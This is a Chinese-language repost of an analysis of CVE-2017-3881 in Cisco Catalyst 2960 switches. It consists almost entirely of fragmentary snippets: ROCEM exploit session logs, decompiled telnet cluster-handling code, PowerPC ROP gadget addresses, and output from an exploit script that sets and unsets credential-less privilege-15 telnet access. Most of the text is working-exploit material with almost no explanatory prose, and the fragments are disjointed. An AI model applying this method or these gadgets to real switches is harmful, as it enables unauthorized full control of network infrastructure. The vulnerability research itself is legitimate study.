本文讲的是
思科Catalyst 2960交换机中的CVE-2017-3881漏洞分析，
Started ROCEM interactive session - successful: root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -i 192.168.0.254 [+] Validating data/interactive.bin [+] Validating data/set.bin [+] Validating data/transfer.bin [+] Validating data/unset.bin **************************************** Image: c3560-ipbase-mz.122-35.SE5 Host: 192.168.0.254 Action: Interactive **************************************** Proceed? (y/n)y Trying 127.0.0.1... [*] Attempting connection to host 192.168.0.254:23 Connected to 127.0.0.1. Escape character is '^]'. [+] Connection established [*] Starting interactive session User Access Verification Password: MLS-Sth# MLS-Sth# show priv Current privilege level is 15 MLS-Sth#show users Line User Host(s) Idle Location * 1 vty 0 idle 00:00:00 192.168.221.40 Interface User Mode Idle Peer Address MLS-Sth#exit Connection closed by foreign host.
Test set/unset feature of ROCEM DUT configured with target configuration and network setup DUT is accessed by hopping through three flux nodes as per the CONOP Reloaded DUT to start with a clean device From Adverse ICON machine, set ROCEM: root@debian:/home/user1/ops/adverse/adverse-1r/rocem# ./rocem_c3560-ipbase-mz.122-35.SE5.py -s 192.168.0.254 [+] Validating data/interactive.bin [+] Validating data/set.bin [+] Validating data/transfer.bin [+] Validating data/unset.bin **************************************** Image: c3560-ipbase-mz.122-35.SE5 Host: 192.168.0.254 Action: Set **************************************** Proceed? (y/n)y [*] Attempting connection to host 192.168.0.254:23 [+] Connection established [*] Sending Protocol Step 1 [*] Sending Protocol Step 2 [+] Done root@debian:/home/user1/ops/adverse/adverse-1r/rocem# Verified I could telnet and rx priv 15 without creds: root@debian:/home/user1/ops/adverse/adverse-1r/rocem# telnet 192.168.0.254 Trying 192.168.0.254... Connected to 192.168.0.254. Escape character is '^]'. MLS-Sth# MLS-Sth#show priv Current privilege level is 15 MLS-Sth#
14. Confirm Xetron EAR 5355 - Debug telnet causes anomalous output 1.Enabled debug telnet on DUT 2.Set ROCEM 3.Observed the following: 000467: Jun 3 13:54:09.330: TCP2: Telnet received WILL TTY-SPEED (32) (refused) 000468: Jun 3 13:54:09.330: TCP2: Telnet sent DONT TTY-SPEED (32) 000469: Jun 3 13:54:09.330: TCP2: Telnet received WILL LOCAL-FLOW (33) (refused) 000470: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LOCAL-FLOW (33) 000471: Jun 3 13:54:09.330: TCP2: Telnet received WILL LINEMODE (34) 000472: Jun 3 13:54:09.330: TCP2: Telnet sent DONT LINEMODE (34) (unimplemented) 000473: Jun 3 13:54:09.330: TCP2: Telnet received WILL NEW-ENVIRON (39) 000474: Jun 3 13:54:09.330: TCP2: Telnet sent DONT NEW-ENVIRON (39) (unimplemented) 000475: Jun 3 13:54:09.330: TCP2: Telnet received DO STATUS (5) 000476: Jun 3 13:54:09.330: TCP2: Telnet sent WONT STATUS (5) (unimplemented) 000477: Jun 3 13:54:09.330: TCP2: Telnet received WILL X-DISPLAY (35) (refused) 000478: Jun 3 13:54:09.330: TCP2: Telnet sent DONT X-DISPLAY (35) 000479: Jun 3 13:54:09.330: TCP2: Telnet received DO ECHO (1) 000480: Jun 3 13:54:09.330: Telnet2: recv SB NAWS 116 29 000481: Jun 3 13:54:09.623: Telnet2: recv SB 36 92 OS^K'zAuk,Fz90X 000482: Jun 3 13:54:09.623: Telnet2: recv SB 36 0 ^CCISCO_KITS^Ap
show subsys class protocol | include ^cmp
show running-config | include ^line vty|transport input
cluster enable CLGRP 0 cluster member 1 mac-address xxxx.xxxx.xxxx
catalyst1>rcommand 1 catalyst2>who Line User Host(s) Idle Location * 1 vty 0 idle 00:00:00 10.10.10.10 Interface User Mode Idle Peer Address
catalyst2>show version Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE1, RELEASE SOFTWARE (fc1)
catalyst2#dir flash: Directory of flash:/ 2 -rwx 9771282 Mar 1 1993 00:13:28 +00:00 c2960-lanbasek9-mz.122-55.SE1.bin 3 -rwx 2487 Mar 1 1993 00:01:53 +00:00 config.text
$ binwalk -e c2960-lanbasek9-mz.122-55.SE1.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 112 0x70 bzip2 compressed data, block size = 900k
Loading "flash:c2960-lanbasek9-mz.122-55.SE1.bin"...@@@@@@@@@@@@@@@@@@@@@@ File "flash:c2960-lanbasek9-mz.122-55.SE1.bin" uncompressed and installed, entry point: 0x3000 executing...
if ( telnet_struct->is_client_mode ) // client mode? then send "CISCO_KITS" string{
if ( telnet_struct->is_client_mode == 1 )
{
cisco_kits_string_2 = (char *)return_cisco_kits();
int_two = return_2();
tty_str = get_from_tty_struct((telnet_struct *)telnet_struct_arg->tty_struct);
*(_DWORD *)&telnet_struct_arg->tty_struct[1].field_6D1;
format1_ret = format_1(
128,
(int)&str_buf[8],
"%c%s%c%d:%s:%d:",
3,
cisco_kits_string_2,
1,
int_two,
tty_str,
0);
telnet_struct = (telnet_struct *)telnet_send_sb(
(int)telnet_struct_arg,
36,
0,
&str_buf[8],
format1_ret,
v8,
v7,
v6);
}}
for ( j = (unsigned __int8)*string_buffer; j != ':'; j = (unsigned __int8)*string_buffer )// put data before second ":" at &str_buf + 152{
str_buf[v19++ + 152] = j;
++string_buffer;}
if ( ptr_is_cluster_mode(tty_struct_var->telnet_struct_field) ){
telnet_struct_var = tty_struct_var->telnet_struct_field;
ptr_get_privilege_level = (int (__fastcall *)(int))some_libc_func(0, (unsigned int *)&dword_22659D4[101483]);
privilege_level = ptr_get_privilege_level(telnet_struct_var);// equals to 1 during rcommand 1 telnet_struct_1 = tty_struct_var->telnet_struct_field;
ptr_telnet_related2 = (void (__fastcall *)(int))some_libc_func(1u, (unsigned int *)&dword_22659D4[101487]);
ptr_telnet_related2(telnet_struct_1);
*(_DWORD *)&tty_struct_var->privilege_level_field = ((privilege_level << 28) & 0xF0000000 | *(_DWORD *)&tty_struct_var->privilege_level_field & 0xFFFFFFF) & 0xFF7FFFFF;}else{
//generic telnet session}
0x000037b4: lwz r0, 0x14(r1) mtlr r0 lwz r30, 8(r1) lwz r31, 0xc(r1) addi r1, r1, 0x10 blr
0x00dffbe8: stw r31, 0x34(r30) lwz r0, 0x14(r1) mtlr r0 lmw r30, 8(r1) addi r1, r1, 0x10 blr
0x0006788c: lwz r9, 8(r1) lwz r3, 0x2c(r9) lwz r0, 0x14(r1) mtlr r0 addi r1, r1, 0x10 blr
0x006ba128: lwz r31, 8(r1) lwz r30, 0xc(r1) addi r1, r1, 0x10 lwz r0, 4(r1) mtlr r0 blr
0x0148e560: stw r31, 0(r3) lwz r0, 0x14(r1) mtlr r0 lwz r31, 0xc(r1) addi r1, r1, 0x10 blr
$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --set [+] Connection OK [+] Recieved bytes from telnet service: 'xffxfbx01xffxfbx03xffxfdx18xffxfdx1f' [+] Sending cluster option [+] Setting credless privilege 15 authentication [+] All done $ telnet 192.168.88.10 Trying 192.168.88.10... Connected to 192.168.88.10. Escape character is '^]'. catalyst1#show priv Current privilege level is 15 catalyst1#show ver Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2(55)SE11, RELEASE SOFTWARE (fc3) ... System image file is "flash:c2960-lanbasek9-mz.122-55.SE11.bin" ... cisco WS-C2960-48TT-L (PowerPC405) processor (revision B0) with 65536K bytes of memory. ... Model number : WS-C2960-48TT-L ... Switch Ports Model SW Version SW Image ------ ----- ----- ---------- ---------- * 1 50 WS-C2960-48TT-L 12.2(55)SE11 C2960-LANBASEK9-M Configuration register is 0xF
$ python c2960-lanbasek9-m-12.2.55.se11.py 192.168.88.10 --unset [+] Connection OK [+] Recieved bytes from telnet service: 'xffxfbx01xffxfbx03xffxfdx18xffxfdx1frncatalyst1#' [+] Sending cluster option [+] Unsetting credless privilege 15 authentication [+] All done $ telnet 192.168.88.10 Escape character is '^]'. User Access Verification Password:
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原文发布时间为：2017年4月17日
本文作者：xiaohui
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